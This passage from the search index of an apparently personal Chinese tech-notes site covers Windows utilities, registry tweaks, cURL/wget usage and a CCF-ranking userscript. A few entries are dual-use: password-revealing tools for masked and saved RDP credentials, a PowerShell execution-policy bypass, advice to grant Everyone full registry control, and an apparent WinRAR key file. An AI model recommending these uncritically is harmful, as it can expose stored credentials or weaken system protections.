-r\\n</code></pre>\"},{\"location\":\"WindowsSoftware/\",\"title\":\"Windows Software\",\"text\":\"<p>\\u81ea\\u5df1\\u65e5\\u5e38\\u7528\\u5230\\u7684\\u4e00\\u4e9b\\u5de5\\u5177\\u54af</p>\"},{\"location\":\"WindowsSoftware/#emeditor\",\"title\":\"Emeditor\",\"text\":\"<p>https://www.emeditor.com/</p> <p>\\u4e0b\\u8f7d\\uff1ahttp://files.emeditor.com/emed64_16.3.1.exe</p> <p>\\u6253\\u5f00\\u8d85\\u5927\\u6587\\u4ef6\\uff0c\\u8bed\\u6cd5\\u9ad8\\u4eae\\uff0c\\u6279\\u5904\\u7406\\u66ff\\u6362\\u7b49\\u597d\\u7528\\u7684\\u529f\\u80fd</p>\"},{\"location\":\"WindowsSoftware/#everything\",\"title\":\"Everything\",\"text\":\"<p>https://www.voidtools.com/</p> <p>\\u4e0b\\u8f7d\\uff1ahttps://www.voidtools.com/Everything-1.4.1.809b.x64.zip</p> <p>\\u5feb\\u901f\\u5168\\u76d8\\u641c\\u7d22\\uff0c\\u4e0d\\u77e5\\u9053\\u6bd4windows\\u81ea\\u5e26\\u7684\\u641c\\u7d22\\u5feb\\u5230\\u54ea\\u91cc\\u53bb\\u4e86</p>\"},{\"location\":\"WindowsSoftware/#sysinternals-utilities\",\"title\":\"Sysinternals Utilities\",\"text\":\"<p>https://technet.microsoft.com/en-us/sysinternals/bb545027</p> <p>\\u4efb\\u52a1\\u7ba1\\u7406\\u5668 https://download.sysinternals.com/files/ProcessExplorer.zip</p>\"},{\"location\":\"WindowsSoftware/#cloc\",\"title\":\"CLOC\\u4ee3\\u7801\\u7edf\\u8ba1\\u5229\\u5668\",\"text\":\"<p>\\u4e0b\\u8f7d\\uff1ahttps://github.com/AlDanial/cloc/releases/download/v1.70/cloc-1.70.exe</p> <p>Cloc\\u662f\\u4e00\\u6b3e\\u4f7f\\u7528Perl\\u8bed\\u8a00\\u5f00\\u53d1\\u7684\\u5f00\\u6e90\\u4ee3\\u7801\\u7edf\\u8ba1\\u5de5\\u5177\\uff0c\\u652f\\u6301\\u591a\\u5e73\\u53f0\\u4f7f\\u7528\\u3001\\u591a\\u8bed\\u8a00\\u8bc6\\u522b\\uff0c\\u80fd\\u591f\\u8ba1\\u7b97\\u6307\\u5b9a\\u76ee\\u6807\\u6587\\u4ef6\\u6216\\u6587\\u4ef6\\u5939\\u4e2d\\u7684\\u6587\\u4ef6\\u6570(files)\\u3001\\u7a7a\\u767d\\u884c\\u6570(blank)\\u3001\\u6ce8\\u91ca\\u884c\\u6570(comment)\\u548c\\u4ee3\\u7801\\u884c\\u6570(code)\\u3002</p>\"},{\"location\":\"WindowsSoftware/#menumgr\",\"title\":\"MenuMgr \\u53f3\\u952e\\u83dc\\u5355\\u7ba1\\u7406\",\"text\":\"<p>\\u8fd8\\u53f3\\u952e\\u83dc\\u5355\\u4e00\\u4efd\\u6e05\\u51c0</p> <p>MenuMgr</p>\"},{\"location\":\"WindowsSoftware/#bash\",\"title\":\"\\u6587\\u4ef6\\u5939\\u80cc\\u666f\\u53f3\\u952e\\u6dfb\\u52a0bash\",\"text\":\"<p>\\u53d1\\u73b0\\u81ea\\u5df1\\u7ecf\\u5e38\\u9700\\u8981\\u5728\\u5f53\\u524d\\u8def\\u5f84\\u4e0b\\u6253\\u5f00bash\\uff0c\\u4e4b\\u524d\\u6211\\u90fd\\u662f\\u5728\\u5730\\u5740\\u680f\\u8f93\\u5165bash\\u56de\\u8f66 \\u4f46\\u8fd9\\u6837\\u7684\\u526f\\u4f5c\\u7528\\u662f\\u4e0d\\u80fd\\u518d\\u65b9\\u4fbf\\u5730\\u590d\\u5236\\u5f53\\u524d\\u8def\\u5f84\\u4e86</p> <p>\\u73b0\\u5728\\u6211\\u5c06bash\\u6dfb\\u52a0\\u5230\\u53f3\\u952e\\u83dc\\u5355 \\u53ea\\u9700\\u9f20\\u6807\\u70b9\\u51fb\\u4e24\\u6b21\\u5373\\u53ef\\u6253\\u5f00bash</p> <p>regedit\\u5b9a\\u4f4d\\u5230</p> <pre><code>\\u8ba1\\u7b97\\u673a\\\\HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\Directory\\\\background\\\\shell\\\\\\n</code></pre> <p>\\u65b0\\u5efa\\u9879bash \\u518d\\u5728bash\\u4e2d\\u65b0\\u5efa\\u9879command \\u4fee\\u6539command\\u7684\\u9ed8\\u8ba4\\u4e3a<code>bash</code></p> <p>\\u987a\\u5e26\\u53ef\\u4ee5\\u628a\\u5728\\u6b64\\u5904\\u6253\\u5f00\\u547d\\u4ee4\\u7a97\\u53e3\\u7ed9\\u663e\\u793a\\u51fa\\u6765\\uff1a\\u540c\\u4e00\\u4e2a\\u6587\\u4ef6\\u5939\\u91cc\\u9762\\u6709\\u4e2acmd \\u4f46\\u8fd8\\u6709\\u4e00\\u4e9b\\u5176\\u4ed6\\u9879 \\u5220\\u6389\\u5373\\u53ef</p> <p>\\u5982\\u679c\\u4fee\\u6539\\u6ce8\\u518c\\u8868\\u6ca1\\u6709\\u6743\\u9650\\uff0c\\u53f3\\u952e\\u6539\\u6743\\u9650 \\u5148\\u6539\\u6240\\u6709\\u8005\\u518d\\u5bf9everyone\\u5141\\u8bb8\\u5b8c\\u5168\\u63a7\\u5236\\u5373\\u53ef</p>\"},{\"location\":\"WindowsSoftware/#u\",\"title\":\"\\u8f6f\\u5a92U\\u76d8\\u542f\\u52a8\\u76d8\\u5236\\u4f5c\",\"text\":\"<p>usbbooter.exe</p>\"},{\"location\":\"WindowsSoftware/#winrar\",\"title\":\"WinRAR\",\"text\":\"<p>\\u538b\\u7f29\\u89e3\\u538b\\u7f29\\uff0c\\u6211\\u53ea\\u7528WinRAR\\u548c7zip</p> <p>winrar.exe</p> <p>winrar32bit.exe</p> <p>rarreg.key</p>\"},{\"location\":\"WindowsSoftware/#burpsuite\",\"title\":\"BurpSuite\",\"text\":\"<p>\\u53d1\\u73b0app\\u7684\\u6f0f\\u6d1e\\u5565\\u7684\\uff0c\\u8fd8\\u662f\\u633a\\u6709\\u7528\\u7684~</p> <p>burpsuite v1.7.11.zip</p> <p>\\u4f7f\\u7528\\u65b9\\u6cd5\\uff1a\\u5b89\\u88c5Java\\uff0c\\u542f\\u52a8\\u540e\\u8bbe\\u7f6e\\u76d1\\u542c\\u5728\\u6240\\u6709\\u7f51\\u5361\\uff0c\\u5bfc\\u51fa\\u8bc1\\u4e66CA.crt\\u53d1\\u9001\\u5230\\u624b\\u673a\\uff0c\\u624b\\u673a\\u5bfc\\u5165\\u8bc1\\u4e66\\uff0c\\u624b\\u673a\\u5fd8\\u8bb0Wifi\\u540e\\u8fde\\u63a5wifi\\u65f6\\u8bbe\\u7f6e\\u4ee3\\u7406\\uff0c\\u624b\\u673a\\u542f\\u52a8APP\\uff0c\\u67e5\\u770b\\u6d41\\u91cf\\u54af~</p>\"},{\"location\":\"WindowsSoftware/#bencode-editor\",\"title\":\"BEncode Editor\",\"text\":\"<p>\\u521b\\u5efa/\\u7f16\\u8f91\\u79cd\\u5b50\\u4fe1\\u606f\\uff0c\\u505a\\u4e00\\u4e2a\\u52e4\\u594b\\u7684\\u642c\\u8fd0\\u5de5\\u2026</p> <p>BEncode Editor.exe</p>\"},{\"location\":\"WindowsSoftware/#win10-windows\",\"title\":\"Win10 Windows\\u7167\\u7247\\u67e5\\u770b\\u5668\",\"text\":\"<p>From: http://www.xitongcheng.com/jiaocheng/win10_article_12240.html</p> <p>Win+R\\u6253\\u5f00regedit\\uff0c\\u627e\\u5230HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows Photo Viewer\\\\Capabilities\\\\FileAssociations</p> <p>\\u53f3\\u952e\\uff0c\\u65b0\\u5efa\\u5b57\\u7b26\\u4e32\\u503c\\uff0c\\u547d\\u540d\\u4e3a.jpg\\uff0c\\u503c\\u4e3aPhotoViewer.FileAssoc.Tiff</p> <p>\\u6211\\u7684\\u60c5\\u51b5\\u662f\\u539f\\u5148\\u6709.tif\\u548c.tiff\\u7684\\uff0c\\u8fd8\\u9700\\u8981\\u65b0\\u5efa\\u8fd9\\u4e9b\\u540e\\u7f00\\u540d.jpeg .bmp .png .gif</p> <p>\\u521b\\u5efa\\u540e\\u518d\\u770b\\u6253\\u5f00\\u65b9\\u5f0f\\u5c31\\u6709\\u4e86Windows\\u7167\\u7247\\u67e5\\u770b\\u5668</p>\"},{\"location\":\"WindowsSoftware/#_1\",\"title\":\"\\u661f\\u53f7\\u5bc6\\u7801\\u67e5\\u770b\",\"text\":\"<p>\\u4e00\\u822c\\u662f\\u7528\\u4e0d\\u7740 AsteriskPassword.exe</p>\"},{\"location\":\"WindowsSoftware/#_2\",\"title\":\"\\u8fdc\\u7a0b\\u8fde\\u63a5\\u5bc6\\u7801\\u67e5\\u770b\",\"text\":\"<p>mstscpass.exe</p>\"},{\"location\":\"WindowsSoftware/#gho\",\"title\":\"GHO\\u6587\\u4ef6\\u67e5\\u770b\",\"text\":\"<p>\\u4e5f\\u662f\\u5f88\\u4e45\\u6ca1\\u7528\\u4e86\\u554a Ghostexp.exe</p>\"},{\"location\":\"WindowsSoftware/#_3\",\"title\":\"\\u6587\\u4ef6\\u54c8\\u5e0c\\u8ba1\\u7b97\",\"text\":\"<p>Linux\\u4e0b\\u76f4\\u63a5\\u7528md5sum sha1sum\\u5c31\\u591f\\u4e86</p> <p>Hash.exe</p>\"},{\"location\":\"WindowsSoftware/#tcping\",\"title\":\"tcping \\u68c0\\u6d4b\\u7aef\\u53e3\\u662f\\u5426\\u5f00\\u653e\",\"text\":\"<p>\\u4e00\\u76f4ping\\u7684\\u7528\\u6cd5: <code>tcping -t py3.io 443</code></p> <p>tcping.exe</p>\"},{\"location\":\"WindowsSoftware/#nginx-1118\",\"title\":\"Nginx 1.11.8\",\"text\":\"<p>nginx.zip</p>\"},{\"location\":\"WindowsSoftware/#bash-on-win10\",\"title\":\"Bash On Win10\",\"text\":\"\"},{\"location\":\"WindowsSoftware/#mount\",\"title\":\"mount\\u6302\\u8f7d\\u5176\\u4ed6\\u5206\\u533a\",\"text\":\"<pre><code>mount -t drvfs D: /mnt/d\\n</code></pre>\"},{\"location\":\"WindowsSoftware/#vmware-vcenter-converter\",\"title\":\"VMware vCenter Converter\",\"text\":\"<p>\\u65e0\\u9700\\u5173\\u673a\\uff0c\\u65e0\\u9700\\u79fb\\u52a8\\u786c\\u76d8\\u5c06\\u7269\\u7406\\u673a\\u8f6c\\u4e3a\\u865a\\u62df\\u673a\\u955c\\u50cf</p> <p>\\u57fa\\u4e8eWindows\\u7684\\u5377\\u5f71\\u590d\\u5236\\u529f\\u80fd</p> <p>http://www.softpedia.com/get/System/System-Miscellaneous/VMware-Converter.shtml</p>\"},{\"location\":\"WindowsSoftware/#powershell\",\"title\":\"\\u547d\\u4ee4\\u884c\\u5f00\\u5173\\u84dd\\u7259 powershell\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/https://superuser.com/questions/1168551/turn-on-off-bluetooth-radio-adapter-from-cmd-powershell-in-windows-10</p> <p>\\u7ed5\\u8fc7powershell\\u6267\\u884c\\u5b89\\u5168\\u7b56\\u7565\\u53c2\\u8003\\uff1a https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/</p> <p>\\u5c06\\u8fd9\\u4e2a\\u4fdd\\u5b58\\u4e3ab.ps1</p> <pre><code>[CmdletBinding()] Param (\\n[Parameter(Mandatory=$true)][ValidateSet('Off', 'On')][string]$BluetoothStatus\\n)\\nIf ((Get-Service bthserv).Status -eq 'Stopped') { Start-Service bthserv }\\nAdd-Type -AssemblyName System.Runtime.WindowsRuntime\\n$asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]\\nFunction Await($WinRtTask, $ResultType) {\\n$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)\\n$netTask = $asTask.Invoke($null, @($WinRtTask))\\n$netTask.Wait(-1) | Out-Null\\n$netTask.Result\\n}\\n[Windows.Devices.Radios.Radio,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null\\n[Windows.Devices.Radios.RadioAccessStatus,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null\\nAwait ([Windows.Devices.Radios.Radio]::RequestAccessAsync()) ([Windows.Devices.Radios.RadioAccessStatus]) | Out-Null\\n$radios = Await ([Windows.Devices.Radios.Radio]::GetRadiosAsync()) ([System.Collections.Generic.IReadOnlyList[Windows.Devices.Radios.Radio]])\\n$bluetooth = $radios | ? { $_.Kind -eq 'Bluetooth' }\\n[Windows.Devices.Radios.RadioState,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null\\nAwait ($bluetooth.SetStateAsync($BluetoothStatus)) ([Windows.Devices.Radios.RadioAccessStatus]) | Out-Null\\n</code></pre> <p>\\u5f00\\u542f\\u84dd\\u7259\\uff1a</p> <pre><code>powershell -ExecutionPolicy Bypass -File ./b.ps1 -BluetoothStatus On\\n</code></pre> <p>\\u5173\\u95ed\\u5c31\\u662fOff</p>\"},{\"location\":\"WindowsSoftware/#bash_1\",\"title\":\"\\u6587\\u4ef6\\u5939\\u80cc\\u666f\\u53f3\\u952e\\u76f4\\u63a5\\u663e\\u793abash\",\"text\":\"<p>\\u9ed8\\u8ba4\\u9700\\u8981\\u6309\\u4f4fShift\\u53f3\\u952e\\u624d\\u4f1a\\u663e\\u793a</p> <p>HKEY_CLASSES_ROOT\\\\Directory\\\\Background\\\\shell\\\\WSL</p> <p>\\u5220\\u9664\\u5176\\u4e2d\\u7684Extended\\u9879\\u5373\\u53ef\\uff0c\\u53ef\\u80fd\\u6ca1\\u6709\\u6743\\u9650\\u9700\\u8981\\u5148\\u83b7\\u5f97\\u6240\\u6709\\u6743\\u518d\\u7ed9\\u81ea\\u5df1\\u6743\\u9650\\uff0c\\u53c2\\u8003</p> <p>\\u9644\\u4e0a\\u9ed8\\u8ba4\\u7684command:</p> <pre><code>wsl.exe --cd \\\"%V\\\"\\npowershell.exe -noexit -command Set-Location -literalPath '%V'\\ncmd.exe /s /k pushd \\\"%V\\\"\\n</code></pre>\"},{\"location\":\"WindowsSoftware/#sshfs\",\"title\":\"sshfs\\u6302\\u8f7d\\u8fdc\\u7a0b\\u76ee\\u5f55\",\"text\":\"<p>https://github.com/billziss-gh/sshfs-win</p> <p>\\u76f8\\u6bd4\\u7384\\u5b66\\u7684windows\\u5171\\u4eab\\uff0c\\u8fd8\\u662fssh\\u66f4\\u52a0\\u7b80\\u5355\\u9760\\u8c31\\uff0c\\u53ea\\u662f\\u6709\\u65f6\\u5019ssh.exe\\u4f1aCPU100%\\u5361\\u4f4f\\uff0c\\u9700\\u8981\\u4efb\\u52a1\\u7ba1\\u7406\\u5668kill</p> <p>\\u4f7f\\u7528\\u524d\\u9700\\u8981\\u5148\\u8ba9ssh\\u5f00\\u542f\\u5bc6\\u7801\\u9a8c\\u8bc1\\uff0c\\u4f60\\u53ef\\u4ee5\\u4f7f\\u7528<code>ssh -i /dev/null</code>\\u53bb\\u8fde\\u63a5\\u6d4b\\u8bd5\\u80fd\\u5426\\u767b\\u5f55</p> <p>\\u53ef\\u4ee5\\u7528\\u591a\\u4e2a<code>..\\\\</code>\\u6302\\u8f7d\\u4e0a\\u7ea7\\u76ee\\u5f55</p> <pre><code>net use h: \\\\\\\\sshfs\\\\root@ip!2222\\\\..\\\\\\n</code></pre>\"},{\"location\":\"WindowsSoftware/#windows\",\"title\":\"\\u547d\\u4ee4\\u884cwindows\\u65f6\\u95f4\\u540c\\u6b65\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/how-to-force-windows-10-time-to-synch-with-a-time/20f3b546-af38-42fb-a2d0-d4df13cc8f43</p> <pre><code>net start w32time\\nw32tm /register\\nw32tm /resync\\n</code></pre> <p>\\u540c\\u65f6\\uff0c\\u4f60\\u53ef\\u80fd\\u60f3\\u8981\\u5c06Windows Time\\u670d\\u52a1\\u8bbe\\u7f6e\\u4e3a\\u81ea\\u52a8\\u542f\\u52a8</p>\"},{\"location\":\"WindowsSoftware/#windows_1\",\"title\":\"Windows\\u6fc0\\u6d3b\",\"text\":\"<p>\\u67e5\\u770b\\u6fc0\\u6d3b\\u4fe1\\u606f\\uff1a</p> <pre><code>slmgr.vbs /dli\\n</code></pre> <p>\\u8bbe\\u7f6ekms\\u670d\\u52a1\\u5668\\u5730\\u5740\\uff1a</p> <pre><code>slmgr.vbs /skms 10.203.8.58\\nslmgr.vbs /ato\\n</code></pre> <p>\\u67e5\\u770b\\u8fc7\\u671f\\u65f6\\u95f4\\uff1a</p> <pre><code>slmgr.vbs /xpr\\n</code></pre>\"},{\"location\":\"WindowsSoftware/#bitlocker\",\"title\":\"\\u67e5\\u770bBitLocker\\u52a0\\u5bc6\\u8fdb\\u5ea6\",\"text\":\"<p>\\u65b0\\u7684win10\\u91cc\\u4e0d\\u4f1a\\u5728UI\\u663e\\u793a\\u52a0\\u5bc6\\u8fdb\\u5ea6\\uff0c\\u53ea\\u80fd\\u9760\\u7ba1\\u7406\\u5458\\u6743\\u9650\\u7684\\u547d\\u4ee4\\u884c\\u67e5\\u8be2\\uff1a</p> <p>manage-bde -status</p>\"},{\"location\":\"WindowsSoftware/#_4\",\"title\":\"\\u627e\\u56de\\u6d88\\u5931\\u7684\\u7a97\\u53e3\",\"text\":\"<p>\\u53c2\\u8003 Windows\\u7cfb\\u7edf\\u7a97\\u53e3\\u6d88\\u5931\\u4e4b\\u8c1c\\u53ca\\u89e3\\u51b3\\u65b9\\u6cd5</p> <p>\\u611f\\u53f9\\u4e00\\u4e0bwindows\\u7684\\u5411\\u4e0b\\u517c\\u5bb9\\u505a\\u5f97\\u771f\\u597d\\uff0c2009\\u5e74\\u7684\\u6587\\u7ae0\\u73b0\\u5728\\u4ecd\\u7136\\u6709\\u6548</p> <p>Win10\\u4efb\\u52a1\\u680f\\u53f3\\u952e\\u6ca1\\u6cd5\\u5bf9\\u7a97\\u53e3\\u8fdb\\u884c\\u79fb\\u52a8\\u4e86\\uff0c\\u89e3\\u51b3\\u65b9\\u6848\\u662f\\u70b9\\u51fb\\u540eAlt+\\u7a7a\\u683c\\uff0c\\u7136\\u540e\\u6309M\\uff0c\\u6309\\u65b9\\u5411\\u952e\\uff0c\\u518d\\u79fb\\u52a8\\u9f20\\u6807\\u5373\\u53ef</p>\"},{\"location\":\"cURL/\",\"title\":\"cURL\",\"text\":\"<p>curl\\u8fd9\\u4e48\\u6709\\u7528\\u7684\\u4e1c\\u897f\\uff0c\\u8fd8\\u662f\\u5355\\u72ec\\u5f00\\u4e2a\\u6587\\u6863\\u54af~</p> <p></p> <p>\\u5927\\u540d\\u9f0e\\u9f0e\\u7684cURL\\uff0c\\u4e0d\\u5fc5\\u591a\\u8a00\\uff1b\\u53ea\\u662f\\u5b83\\u7684\\u547d\\u4ee4\\u884c\\u7684\\u8fd0\\u884c\\u65b9\\u5f0f\\u4e0elibcurl\\u7528\\u8d77\\u6765\\u5dee\\u5f02\\u5f88\\u5927\\uff08\\u5982\\u6bd4\\u8f83php\\u7684curl\\u7528\\u6cd5\\uff09</p> <p>\\u5b98\\u65b9\\uff1ahttps://curl.haxx.se/</p> <p>\\u7b80\\u5355\\u5165\\u95e8\\uff1ahttp://www.bathome.net/thread-1761-1-1.html</p> <p>\\u5c06curl\\u8f6c\\u4e3apython requests http://curl.trillworks.com/</p> <p>\\u4e0b\\u8f7d7.51 x64\\u7684Win\\u7248\\u672c</p> <p>\\u4e0b\\u8f7d7.16 32bit\\u7684curl32.exe</p>\"},{\"location\":\"cURL/#_1\",\"title\":\"\\u6a21\\u62df\\u6d4f\\u89c8\\u5668\\u8bf7\\u6c42\",\"text\":\"<p>\\u7528Chrome\\u5f00\\u53d1\\u4eba\\u5458\\u5de5\\u5177\\uff0c\\u5bf9\\u8bf7\\u6c42\\u53f3\\u952e\\uff0cCopy as cURL\\u5c31\\u597d\\u5566</p> <p>\\u5176\\u4e2d\\u5982\\u679c\\u9009\\u62e9\\u4e86cmd\\u7684\\u7248\\u672c\\uff0c\\u662f\\u4e0d\\u80fd\\u7528\\u4e8e\\u5199bat\\u7684\\uff0c\\u6211\\u7684\\u505a\\u6cd5\\u662f\\u590d\\u5236\\u6210bash\\u7684\\u7248\\u672c\\u7528python\\u5faa\\u73af\\u4e4b</p>\"},{\"location\":\"cURL/#_2\",\"title\":\"\\u57fa\\u672c\\u6559\\u7a0b\",\"text\":\"<pre><code>REM \\u5728bat\\u4e2dREM\\u547d\\u4ee4\\u8868\\u793a\\u6ce8\\u91ca\\u884c\\n\\nREM \\u7b80\\u5355\\u7684get\\u4e00\\u4e0b\\ncurl http://ip.cn\\n\\nREM \\u4fdd\\u5b58\\u5230\\u6587\\u4ef6\\u5e76\\u65ad\\u70b9\\u7eed\\u4f20\\uff08\\u53ef\\u4ee5\\u4e0d\\u6307\\u5b9a\\u6587\\u4ef6\\u540d-O\\uff09\\ncurl -o iplist.txt -c  http://f.ip.cn/rt/chnroutes.txt\\n\\nREM POST\\u8bf7\\u6c42\\uff0c\\u8bbe\\u7f6eReferer\\uff0c\\u5e76\\u4f7f\\u7528\\u4ee3\\u7406\\ncurl http://httpbin.org/post --data \\\"something=somedata\\\" -H \\\"Referer: http://github.com/zjuchenyuan/\\\" --proxy socks5://127.0.0.1:1080\\n\\nREM \\u6587\\u4ef6\\u4e0a\\u4f20 @\\u6587\\u4ef6\\u540d\\nREM POST\\u6a21\\u5f0f\\u4e0b\\u7684\\u6587\\u4ef6\\u4e0a\\u7684\\u6587\\u4ef6\\u4e0a\\u4f20\\uff0c\\u6bd4\\u5982\\nREM &lt;form method=\\\"POST\\\" enctype=\\\"multipart/form-data\\\" action=\\\"http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi\\\"&gt;\\nREM &lt;input type=file name=upload&gt;\\nREM &lt;input type=submit name=nick value=\\\"go\\\"&gt;\\nREM &lt;/form&gt;\\nREM \\u8fd9\\u6837\\u4e00\\u4e2aHTTP\\u8868\\u5355\\uff0c\\u6211\\u4eec\\u8981\\u7528curl\\u8fdb\\u884c\\u6a21\\u62df\\uff0c\\u5c31\\u8be5\\u662f\\u8fd9\\u6837\\u7684\\u8bed\\u6cd5\\uff1a\\ncurl -F upload=@localfile -F nick=go http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi\\n\\nREM \\u767b\\u5f55\\u8def\\u7531\\u5668\\ncurl http://192.168.1.1 -u admin:admin\\n\\nREM \\u5b58\\u4e0bSet-Cookie\\ncurl -D cookie0001.txt http://www.yahoo.com\\n\\nREM \\u4f7f\\u7528\\u5b58\\u50a8\\u7684Cookie\\ncurl -b cookie0001.txt http://www.yahoo.com\\n\\nREM dict\\u534f\\u8bae\\u67e5\\u5b57\\u5178\\uff0c\\u663e\\u793a\\u8be6\\u7ec6\\u7684\\u8bf7\\u6c42\\u4fe1\\u606f\\ncurl dict://www.dict.org/d:computer -v\\n</code></pre>\"},{\"location\":\"cURL/#_3\",\"title\":\"\\u8fd8\\u53ef\\u4ee5\\u5faa\\u73af\\u54df\",\"text\":\"<p>curl -OJ http://example.com/[1-100].jpg</p> <p>curl -o \\u201c#1.html\\u201d http://www.example.com/page/[1-20]</p>\"},{\"location\":\"cURL/#wget0bs\",\"title\":\"wget\\u57280b/s\\u65f6\\u81ea\\u52a8\\u91cd\\u8fde\",\"text\":\"<p>From: https://askubuntu.com/questions/72663/how-to-make-wget-retry-download-if-speed-goes-below-certain-threshold</p> <p>\\u7528\\u6cd5\\uff1a</p> <pre><code>wget -c --tries=0 --read-timeout=20 [URL]\\n</code></pre> <p>\\u5176\\u4e2d-c\\u8868\\u793a\\u65ad\\u70b9\\u7eed\\u4f20\\uff0c\\u2013tries=0\\u8868\\u793a\\u65e0\\u9650\\u6b21\\u91cd\\u8bd5\\uff0c\\u2013read-timeout\\u6307\\u5b9a20s\\u65e0\\u7f51\\u7edc\\u6d3b\\u52a8\\u5c31\\u8ba4\\u4e3a\\u51fa\\u9519(\\u9ed8\\u8ba4\\u662f15\\u5206\\u949f)</p>\"},{\"location\":\"cURL/#wget\",\"title\":\"wget\\u9650\\u5236\\u5355\\u6587\\u4ef6\\u6700\\u5927\\u5927\\u5c0f\",\"text\":\"<p>\\u6765\\u6e90\\uff1a https://yurichev.com/wget.html</p> <p>\\u53ef\\u4ee5\\u4e0b\\u8f7d\\u5230\\u4e8c\\u8fdb\\u5236\\u76f4\\u63a5\\u7528</p> <p>\\u589e\\u52a0\\u4e86<code>--limit-size</code>\\u53c2\\u6570\\uff0c\\u6bd4\\u5982\\u6279\\u91cf\\u4e0b\\u8f7d\\u4e00\\u4e2aftp\\u94fe\\u63a5\\uff1a</p> <pre><code>wget --limit-size=10g --restrict-file-names=nocontrol -nH --tries=0 --read-timeout=20 -m ftp://xxx \\n</code></pre>\"},{\"location\":\"ccfbadge/\",\"title\":\"CCF Badge\",\"text\":\"<p>\\u5728dblp\\u641c\\u7d22\\u7ed3\\u679c\\u4e2d\\u9ad8\\u4eae\\u663e\\u793a\\u5b89\\u5168\\u9876\\u4f1a\\u548cCCF\\u5206\\u7c7b+\\u65b9\\u5411</p> <p>\\u5b89\\u88c5 Chrome\\u63d2\\u4ef6Tampermonkey \\u540e\\u70b9\\u51fb\\u5b89\\u88c5\\uff1a https://blog.chenyuan.me/code/ccfbadge.user.js</p> <p>\\u6548\\u679c\\uff1a</p> <p>https://dblp.org/search?q=use-after-free</p> <p></p>\"},{\"location\":\"ccfbadge/#_1\",\"title\":\"\\u6570\\u636e\\u5904\\u7406\\u8fc7\\u7a0b\",\"text\":\"<ul> <li>\\u4e0b\\u8f7d\\u5b98\\u65b9\\u76ee\\u5f55PDF: https://www.ccf.org.cn/Academic_Evaluation/By_category/</li> <li>\\u8f6c\\u6362\\u6210Excel: https://smallpdf.com/pdf-to-excel</li> <li>Python\\u8bfb\\u53d6excel\\u5904\\u7406\\uff1a\\u90e8\\u5206dblp\\u6709\\u94fe\\u63a5\\u4f46pdf\\u4e2d\\u4e0d\\u662fdblp\\u94fe\\u63a5\\u7684\\u9700\\u8981\\u624b\\u5de5\\u66f4\\u6b63\\uff0casiaccs\\u7684\\u94fe\\u63a5\\u9700\\u8981\\u4e0eccs\\u533a\\u5206</li> </ul> <pre><code>import xlrd, json\\nfrom pprint import pprint\\nwb=xlrd.open_workbook(\\\"\\u4e2d\\u56fd\\u8ba1\\u7b97\\u673a\\u5b66\\u4f1a\\u63a8\\u8350\\u56fd\\u9645\\u5b66\\u672f\\u4f1a\\u8bae\\u548c\\u671f\\u520a\\u76ee\\u5f55-2019-converted.xlsx\\\")\\ntype = \\\"\\\"\\nallccf = {}\\nfor sid in range(wb.nsheets):\\n    s = wb.sheet_by_index(sid)\\n    data = [tuple([s.cell_value(i,j) for j in range(s.ncols)]) for i in range(s.nrows)]\\n    for i,line in enumerate(data):\\n        if line[0]==\\\"\\u5e8f\\u53f7\\\":\\n            abc = data[i-1][0].split(\\\"\\u3001\\\")[1].replace(\\\"\\u7c7b\\\", \\\"\\\").strip()\\n            if i-2&gt;=0:\\n                type = data[i-2][0].split(\\\"\\\\n\\\")[-1].strip().strip(\\\"\\uff08(\\uff09)\\\").replace(\\\"\\uff0f\\\",\\\"/\\\").split(\\\"/\\\")[0].replace(\\\"\\u8ba1\\u7b97\\u673a\\\",\\\"\\\")\\n            table = data[i+1:]\\n    newtable = []\\n    for i in table:\\n        if not any([str(j).strip() for j in i]):\\n            continue\\n        id, simple, full, publisher, url = [str(j).replace(\\\"\\\\n\\\",\\\" \\\").replace(\\\"  \\\",\\\" \\\") for j in i[:-1]] # remove last empty column\\n        #print(i)\\n        url = {\\n            \\\"Performance Evaluation: An International Journal\\\":\\\"https://dblp.uni-trier.de/db/journals/pe\\\",\\n            'Journal of Electronic Testing-Theory and Applications': \\\"https://dblp.uni-trier.de/db/journals/et\\\",\\n            \\\"Hot Chips: A Symposium on High Performance Chips\\\": \\\"https://dblp.uni-trier.de/db/conf/hotchips/index.html\\\",\\n            \\\"ACM Transactions on Privacy and Security\\\":\\\"https://dblp.org/db/journals/tissec/\\\",\\n            \\\"Computer Law and Security Review\\\":\\\"https://dblp.org/db/journals/clsr/\\\",\\n            \\\"IFIP WG 11.9 International Conference on Digital Forensics\\\":\\\"https://dblp.org/db/conf/ifip11-9/\\\",\\n            \\\"Computer Animation and Virtual Worlds\\\":\\\"https://dblp.org/db/journals/jvca/index.html\\\",\\n            \\\"IET Computer Vision\\\":\\\"https://dblp.org/db/journals/iet-cvi/index.html\\\",\\n            \\\"IET Signal Processing\\\":\\\"https://dblp.org/db/journals/iet-spr/index.html\\\",\\n            \\\"International Conference on Collaborative Computing: Networking, Applications and Worksharing\\\":\\\"https://dblp.org/db/conf/colcom/index.html\\\",\\n            \\\"Asia Conference on Computer and Communications Security\\\": \\\"https://dblp.org/db/conf/asiaccs/index.html\\\",\\n        }.get(full, url)\\n        if \\\"dblp\\\" not in url:\\n            #print([id, simple, full, publisher, url])\\n            pass\\n        else:\\n            url = \\\"/\\\".join(url.split(\\\"/\\\")[4:6])\\n            #print(url)\\n        newtable.append([id, simple, full, publisher, url])\\n        if url in allccf:\\n            #print(i, allccf[url]) # we find that aisaccs link is wrong\\n            assert allccf[url][1] == abc # same item in different categories, should be same in ABC\\n            allccf[url] = (allccf[url][0]+\\\"/\\\"+type, abc)\\n        else:\\n            allccf[url] = (type, abc)\\n    